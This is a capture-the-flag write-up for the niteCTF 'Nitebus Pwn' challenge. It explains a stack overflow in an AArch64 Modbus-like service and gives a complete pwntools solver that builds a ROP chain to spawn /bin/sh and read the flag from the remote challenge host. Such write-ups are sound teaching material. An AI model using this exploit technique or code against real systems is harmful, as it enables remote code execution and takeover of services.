Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnMedium

Nitebus Pwn

CTF writeup for Nitebus Pwn from niteCTF

//NiteBus PWN

>TL;DR

A custom Modbus-like AArch64 service implements function 0x42 (Upload Control Program). The upload handler trusts a 16-bit length from the packet and calls read(0, stack_buf, length) into a stack buffer at sp+0x20, giving a clean stack overflow. The binary is static and no PIE, so we can build an AArch64 ROP chain to execute a direct syscall and execve("/bin/sh", 0, 0). For remote, the solver runs non-interactively and prints the flag.

Remote endpoint:

bash
ncat --ssl nitebus.chals.nitectf25.live 1337

>Files

  • nitebus — challenge binary (AArch64, static)
  • solve_local.py — full exploit (local + remote)

>Recon

Architecture / protections

bash
$ file ./nitebus
./nitebus: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked, ... with debug_info, not stripped

$ checksec --file=./nitebus
[*] './nitebus'
    Arch:       aarch64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

Service surface

Running locally under qemu shows the supported function codes:

bash
$ timeout 1s qemu-aarch64 ./nitebus | head -n 60
       _  _ ___ _____ ___ ___ _   _ ___
      | \\| |_ _|_   _| __| _ ) | | / __|
      | .` || |  | | | _|| _ \\ |_| \\__ \\
      |_|\\_|___| |_| |___|___/\\___/|___/

[+] PLC initialized successfully
[+] Device ID: PLC-001-FACTORY-MAIN
[+] nitebus slave address: 0x01

[*] nitebus server listening...
[*] Supported function codes:
    0x01 - Read Coils
    0x03 - Read Holding Registers
    0x06 - Write Single Register
    0x08 - Diagnostics
    0x42 - Upload Control Program

[*] Waiting for nitebus packet...

Key symbol addresses:

bash
$ nm -n ./nitebus | egrep ' upload_control_program$| parse_nitebus_packet$| nitebus_server$'
00000000004007f8 T upload_control_program
00000000004008a8 T parse_nitebus_packet
0000000000400a44 T nitebus_server

>Protocol (what we send)

The server reads a fixed 4-byte header first, then dispatches based on the function code.

Minimal packet format used by the exploit:

  • byte 0: slave_id (we use 0x01)
  • byte 1: function (we use 0x42)
  • bytes 2–3: length (little-endian 16-bit)

Then the service reads length bytes as the “control program” payload.


>Vulnerability

The 0x42 handler (upload_control_program) loads a 16-bit length from the packet and later passes it as the third argument to read() while the destination buffer is a stack region at sp+0x20.

Relevant disassembly (first half: length extraction):

nasm
00000000004007f8 <upload_control_program>:
  4007f8: a9b57bfd  stp     x29, x30, [sp, #-176]!
  4007fc: 910003fd  mov     x29, sp
  400800: f9000fe0  str     x0, [sp, #24]
  400804: f9400fe0  ldr     x0, [sp, #24]
  400808: 79400400  ldrh    w0, [x0, #2]          ; length from packet
  40080c: 79015fe0  strh    w0, [sp, #174]
  ...

Second half (the unsafe read()):

nasm
  40084c: 79415fe1  ldrh    w1, [sp, #174]        ; w1 = length
  400850: 910083e0  add     x0, sp, #0x20         ; x0 = stack buffer
  400854: aa0103e2  mov     x2, x1                ; x2 = length
  400858: aa0003e1  mov     x1, x0                ; x1 = buf
  40085c: 52800000  mov     w0, #0                ; fd = 0
  400860: 94005970  bl      416e20 <__libc_read>  ; read(0, sp+0x20, length)

There is no bounds check ensuring length fits the stack buffer, so we can overwrite saved return addresses and control execution.


>Exploit strategy

Constraints and opportunities:

  • AArch64 target (ARM64)
  • NX enabled → no injected shellcode
  • no PIE + static → stable absolute gadget addresses and strings

Approach:

  1. Trigger function 0x42 and provide a large length.
  2. Overflow the stack to control the saved LR and pivot into an AArch64 ROP chain.
  3. Use a small set of static gadgets to set up registers and invoke a syscall trampoline (svc #0; ret).
  4. Call execve("/bin/sh", 0, 0) with x8 = 221 (AArch64 SYS_execve).

Remote mode is non-interactive: it runs cat on likely flag paths and regex-extracts either SECCON{...} or nite{...}.


>Local run

bash
$ timeout 5s python3 ./solve_local.py | head -n 60
[*] payload size: 736 bytes
[+] Control program received (736 bytes)
[+] Bro has exploited me using a control program (≧⌓≦)
PWNED
uid=1000(noigel) gid=1000(noigel) groups=...

>Remote run

bash
$ python3 ./solve_local.py --remote nitebus.chals.nitectf25.live 1337
[*] payload size: 736 bytes
nite{th3_wh33l5_0n_th3_n1tbu5_g0_up_&_d0wn_4ll_thru_th3_t0wn}

>Full solver code

Below is the full exploit used for both local and remote.

python
#!/usr/bin/env python3
from pwn import *
import argparse
import re

context.clear(arch="aarch64", os="linux", endian="little")
context.log_level = "info"

BIN = "./nitebus"
QEMU = "qemu-aarch64"

# Gadgets / code pointers (no PIE)
G_X16_BR = 0x426198
F_SET_X1_FROM_X0 = 0x40A860  # _IO_doallocbuf: mov x1,x0; ldr x0,[x0,#56]; cbz x0,...; ret
F_SET_X16_FROM_X0 = 0x44B834  # __aarch64_swp8_acq+0x14: mov x16,x0; ldaxr/stxr loop; ret
G_MEGA = 0x43FF58  # loads x0-x9,x17,x30 from stack; br x16
G_SVC_RET = 0x40CB90  # svc #0 ; ret

# Useful fixed addresses
ADDR__BINSH = 0x490040  # computed from file offset 0x80040 in 2nd LOAD seg
ADDR__STDOUT_FILE = 0x490228  # _IO_2_1_stdout_

SYS_execve = 221

def p64u(x: int) -> bytes:
    return p64(x & 0xFFFFFFFFFFFFFFFF)

def build_x16_br_frame(*, next_pc: int, x16_target: int, x0_val: int) -> bytes:
    """Build the 0xa0-byte stack frame consumed by gadget at 0x426198.

    On entry, SP must point to the start of this frame.
    Gadget sets x2/x3/x4=0, loads x16 and x0 from [sp+0x68], then ldp x29,x30,[sp],#0xa0 and br x16.
    The called code returns to x30 (which we set here).
    """

    frame = bytearray(b"\\x00" * 0xA0)
    # ldp x29, x30, [sp], #0xa0
    frame[0x00:0x08] = p64u(0x0)  # x29
    frame[0x08:0x10] = p64u(next_pc)  # x30
    # ldp x16, x0, [sp, #0x68]
    frame[0x68:0x70] = p64u(x16_target)
    frame[0x70:0x78] = p64u(x0_val)
    # ldp w7, w6, [sp, #0x88]
    frame[0x88:0x8C] = p32(0)
    frame[0x8C:0x90] = p32(0)
    return bytes(frame)

def build_mega_execve_frame(*, x0_path: int) -> bytes:
    """Build the 0xe0-byte stack frame consumed by mega gadget at 0x43ff58.

    Layout (relative to SP on entry):
      [0x00] x8 (syscall)
      [0x08] x9
      [0x10] x6, x7
      [0x20] x4, x5
      [0x30] x2, x3
      [0x40] x0, x1
      ...
      [0xD0] x17, x30

    Mega gadget ends with br x16, so x16 must already be set to G_SVC_RET.
    """

    frame = bytearray(b"\\x00" * 0xE0)

    # x8/x9 at [sp]
    frame[0x00:0x08] = p64u(SYS_execve)
    frame[0x08:0x10] = p64u(0)

    # x6/x7 (unused)
    frame[0x10:0x18] = p64u(0)
    frame[0x18:0x20] = p64u(0)

    # x4/x5 (unused)
    frame[0x20:0x28] = p64u(0)
    frame[0x28:0x30] = p64u(0)

    # x2/x3
    frame[0x30:0x38] = p64u(0)
    frame[0x38:0x40] = p64u(0)

    # x0/x1
    frame[0x40:0x48] = p64u(x0_path)
    frame[0x48:0x50] = p64u(0)

    # x17/x30 after the big stack skip
    frame[0xD0:0xD8] = p64u(0)
    frame[0xD8:0xE0] = p64u(G_MEGA)  # if execve fails and returns, loop

    return bytes(frame)

def build_payload() -> bytes:
    offset_to_parse_lr = 152
    offset_to_server_sp = 192

    stage1_off = offset_to_server_sp
    stage2_off = offset_to_server_sp + 0xA0
    stage3_off = offset_to_server_sp + 0x140

    stage1 = build_x16_br_frame(next_pc=G_X16_BR, x16_target=F_SET_X1_FROM_X0, x0_val=ADDR__STDOUT_FILE)
    stage2 = build_x16_br_frame(next_pc=G_MEGA, x16_target=F_SET_X16_FROM_X0, x0_val=G_SVC_RET)
    stage3 = build_mega_execve_frame(x0_path=ADDR__BINSH)

    total_len = stage3_off + len(stage3)
    payload = bytearray(b"B" * total_len)

    # overwrite parse_nitebus_packet saved LR so it returns into our first stage gadget
    payload[offset_to_parse_lr:offset_to_parse_lr + 8] = p64u(G_X16_BR)

    # lay out staged frames at the server's stack pointer
    payload[stage1_off:stage1_off + len(stage1)] = stage1
    payload[stage2_off:stage2_off + len(stage2)] = stage2
    payload[stage3_off:stage3_off + len(stage3)] = stage3

    return bytes(payload)

def build_io(args: argparse.Namespace):
    if args.remote:
        host, port = args.remote
        return remote(host, int(port), ssl=True, sni=host)
    return process([QEMU, BIN])

def main() -> None:
    ap = argparse.ArgumentParser(description="NiteBus exploit (local first, then remote)")
    ap.add_argument(
        "--remote",
        nargs=2,
        metavar=("HOST", "PORT"),
        help="Exploit the remote service over SSL",
    )
    args = ap.parse_args()

    payload = build_payload()
    log.info(f"payload size: {len(payload)} bytes")

    # First read (nitebus_server) must only receive 4 bytes, else upload read blocks.
    hdr = bytes([0x01, 0x42]) + p16(len(payload))

    io = build_io(args)

    # Wait for server loop (remote banner may vary slightly)
    try:
        io.recvuntil(b"Waiting for nitebus packet", timeout=2.0)
        io.recvuntil(b"...\\n", timeout=2.0)
    except EOFError:
        raise
    except Exception:
        io.recvrepeat(0.5)

    io.send(hdr)

    # The binary prints a prompt before reading the program bytes.
    # We don't rely on exact wording; just give it a moment.
    io.recvrepeat(0.2)

    io.send(payload)

    if args.remote:
        # Non-interactive remote: try common flag paths and extract the flag token.
        cmd = (
            b"(cat /flag || cat /root/flag || cat ./flag || cat ./flag.txt || cat ./FLAG || cat ./SECCON* 2>/dev/null)\\n"
        )
        io.send(cmd)
        data = io.recvrepeat(2.0)
        m = re.search(rb"SECCON\\{[^}]+\\}", data)
        if not m:
            m = re.search(rb"nite\\{[^}]+\\}", data)
        if not m:
            # One more read window in case output is delayed.
            data += io.recvrepeat(2.0)
            m = re.search(rb"SECCON\\{[^}]+\\}", data) or re.search(rb"nite\\{[^}]+\\}", data)

        if m:
            print(m.group(0).decode())
        else:
            print(data.decode(errors="replace"))
            raise SystemExit("[-] Flag not found in output")

        io.close()
        return

    # Local: keep interactive for debugging.
    io.sendline(b"echo PWNED && id")
    out = io.recvrepeat(1.0)
    print(out.decode(errors="replace"))
    io.interactive()

if __name__ == "__main__":
    main()